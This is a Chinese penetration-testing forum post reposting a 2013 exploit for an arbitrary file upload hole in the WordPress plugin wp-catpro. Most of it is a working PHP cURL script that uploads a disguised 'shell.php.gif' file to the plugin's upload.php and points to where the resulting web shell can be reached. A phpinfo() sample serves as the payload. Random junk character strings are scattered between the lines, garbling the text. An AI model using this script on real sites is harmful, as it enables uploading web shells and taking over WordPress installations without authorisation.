中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
- b% K5 B) }8 p
#-----------------------------------------------------------------------
6 W( L* N4 x- F0 T$ X1 Q
0 Y# y8 O- x- Y, L2 f
作者 => Zikou-16
& s$ @$ s! S# @4 M i {6 b! b
邮箱 =>
zikou16x@gmail.com
- s& ?4 p! J/ N( G% |3 @4 [* j( ?
测试系统 : Windows 7 , Backtrack 5r3
+ Z* K. b# `, c# a
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, W: l X7 ?+ e1 A- r) s. v/ l8 p# d
####
n/ h( G& p- G' I/ o7 F
$ L+ V. G1 g0 `/ b
#=> Exploit 信息:
: }5 }. O& D6 g, w' A8 E. D
------------------
6 |5 `; H" J& i0 I* v- ^
# 攻击者可以上传 file/shell.php.gif
+ J1 G$ @. V( u; K1 E' g
# ("jpg", "gif", "png") // Allowed file extensions
; C2 o, N, {. q+ ?
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
/ A5 V8 S0 a. K) S, U9 c- m- e: u
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
v9 I8 e% I2 J0 n' T! N+ [" i! z
------------------
# l) A+ b9 |+ S
# u0 c* p& @- H/ t5 ^9 m
#=> Exploit
2 G: {- S" y6 @& M
-----------
2 d8 ]7 M0 R1 H/ |* h
<?php
8 e1 f' Z) C# d! E' n6 ^+ n4 ~) K3 V
{" G( g7 S/ |& r7 F- D% b; X0 @
$uploadfile="zik.php.gif";
# f3 M) J: u1 E5 I& x6 R Q
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
1 m! U: V) D0 C7 U3 [
curl_setopt($ch, CURLOPT_POST, true);
$ x. P1 Z. Z! L5 c" r
curl_setopt($ch, CURLOPT_POSTFIELDS,
: v, @* J' [) `/ R8 M
array('Filedata'=>"@$uploadfile",
& W% D. `2 N& h
'folder'=>'/wp-content/uploads/catpro/'));
1 \( A/ n- k& B7 [- R# V
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8 h/ u. n3 F' s
$postResult = curl_exec($ch);
4 {, Z0 q' @% z, e' K: B
curl_close($ch);
$ R1 O& B4 w& P" ]" j9 J K- p; a
4 h7 [; F3 f; P
print "$postResult";
8 P9 A) B# x6 d; Z {0 `
6 C! [, ~( [$ M2 q8 N! h
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
8 r, ? C0 B) w& C* Z
?>
& V; d' [7 k4 @ V$ C1 Y5 u0 J
<?php
6 ]1 @, S+ w- M, w8 R' n, j: T
phpinfo();
; w: K; k3 w/ U% K! K* G
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2